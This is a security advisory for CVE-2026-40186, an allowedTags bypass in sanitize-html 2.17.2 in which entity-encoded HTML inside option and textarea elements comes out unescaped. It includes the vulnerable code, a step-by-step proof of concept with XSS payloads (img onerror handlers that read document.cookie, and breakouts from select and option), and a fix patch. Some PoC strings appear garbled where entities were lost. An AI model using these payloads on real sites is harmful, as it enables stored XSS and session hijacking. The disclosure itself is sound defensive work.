CVE-2026-40186: sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements
Summary Commit 49d0bb7 introduced a regression in sanitize-html that bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads.
Published Apr 16, 2026
Affected packages
sanitize-html
- Ecosystem
- npm
- Affected
- >= 2.17.2, < 2.17.3
- Fixed in
- 2.17.3
- Check
npm ls sanitize-html
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Commit 49d0bb7 introduced a regression in sanitize-html that bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes option or textarea in its allowedTags configuration.
Details
The vulnerable code is at packages/sanitize-html/index.js:569-573:
} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) {
// htmlparser2 does not decode entities inside raw text elements like
// textarea and option. The text is already properly encoded, so pass
// it through without additional escaping to avoid double-encoding.
result += text;
}The comment is factually incorrect. htmlparser2 10.x does decode HTML entities inside both <textarea> and <option> elements before passing text to the ontext callback. This can be verified:
const htmlparser2 = require('htmlparser2');
const parser = new htmlparser2.Parser({
ontext(text) { console.log(JSON.stringify(text)); }
});
parser.write('<option><script></option>');
// Outputs: "<", "script", ">" — entities are decodedBecause the code assumes the text is "already properly encoded" and skips escapeHtml(), the decoded entities (<, >) are written directly to the output as literal HTML characters. This completely bypasses the allowedTags filter — any tag can be injected inside an allowed option or textarea element using entity encoding.
The execution flow:
- Attacker submits:
<option><img src=x onerror=alert(1)></option> - htmlparser2 parses and decodes entities →
ontextreceives `` - Code at line 569 checks: tag is
option, which is innonTextTagsArray→ true - Line 573:
result += text— writes decoded text directly without escaping - Output:
<option></option>— `tag injected despite not being inallowedTags`
The script and style tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to textarea and option, plus any custom elements added to nonTextTags by the user.
Prior to commit 49d0bb7, text in these elements fell through to the escapeHtml branch (line 574-580), which correctly re-encoded the decoded entities.
PoC
Prerequisites: Application using sanitize-html 2.17.2 with option or textarea in allowedTags.
Step 1: Basic tag injection via option
const sanitize = require('sanitize-html');
const output = sanitize(
'<option><script>alert(1)</script></option>',
{ allowedTags: ['option'] }
);
console.log(output);
// Expected (safe): <option><script>alert(1)</script></option>
// Actual (vulnerable): <option><script>alert(1)</script></option>Step 2: Element breakout with XSS event handler
const output2 = sanitize(
'<option></option><img src=x onerror=alert(document.cookie)></option>',
{ allowedTags: ['option'] }
);
console.log(output2);
// Output: <option></option></option>
// The tag escapes the option context and executes the onerror handlerStep 3: Textarea breakout (also vulnerable)
const output3 = sanitize(
'<textarea></textarea><img src=x onerror=alert(1)></textarea>',
{ allowedTags: ['textarea'] }
);
console.log(output3);
// Output: <textarea></textarea></textarea>Step 4: Full select/option context breakout
const output4 = sanitize(
'<select><option></option></select><img src=x onerror=alert(1)></option></select>',
{ allowedTags: ['select', 'option'] }
);
console.log(output4);
// Output: <select><option></option></select></option></select>
// Breaks out of both option and select elementsAll outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x.
Impact
- Complete `allowedTags` bypass: Any HTML tag can be injected through an allowed
optionortextareaelement using entity encoding, defeating the core security guarantee of sanitize-html. - Stored XSS: Applications that sanitize user-submitted HTML and allow
optionortextareatags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting. - Session hijacking: Attackers can inject event handlers (
onerror,onload, etc.) to steal session cookies or authentication tokens. - Scope: Affects non-default configurations only — the default
allowedTagsdoes not includeoptionortextarea. However, these tags are commonly allowed in applications that handle form-related HTML content.
Recommended Fix
Remove the vulnerable code block at lines 569-573 entirely. The escapeHtml branch (line 574) correctly handles these elements — htmlparser2 10.x decodes entities, and re-encoding with escapeHtml produces correct HTML output (entities are round-tripped, not double-encoded).
--- a/packages/sanitize-html/index.js
+++ b/packages/sanitize-html/index.js
@@ -566,11 +566,6 @@ function sanitizeHtml(html, options, _recursing) {
// your concern, don't allow them. The same is essentially true for style tags
// which have their own collection of XSS vectors.
result += text;
- } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) {
- // htmlparser2 does not decode entities inside raw text elements like
- // textarea and option. The text is already properly encoded, so pass
- // it through without additional escaping to avoid double-encoding.
- result += text;
} else if (!addedText) {
const escaped = escapeHtml(text, false);
if (options.textFilter) {This fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through escapeHtml(), ensuring decoded entities are properly re-encoded before output.
Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-113650
ApostropheCMS sanitize-html: unbounded recursion when re-sanitizing the fallback of a discarded iframe (stack overflow, nestingLimit not enforced)
medium5.3Oct 21, 2026CVE-2026-113654
ApostropheCMS sanitize-html: nonTextTags discard region ends early on an implied close, letting <noscript> content render
medium5.3Oct 20, 2026CVE-2026-113657
ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)
low3.7Oct 20, 2026CVE-2026-113661
ApostropheCMS: Incomplete CVE-2026-53606: `meta http-equiv=refresh` `content` still ships `javascript:` / `data:` URLs
medium5.4Oct 20, 2026CVE-2026-63670
ApostropheCMS: Mutation-XSS / allowedTags bypass via literal `</textarea/>` solidus close
medium6.1Sep 3, 2026CVE-2026-84371
ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass
medium5.4Sep 1, 2026
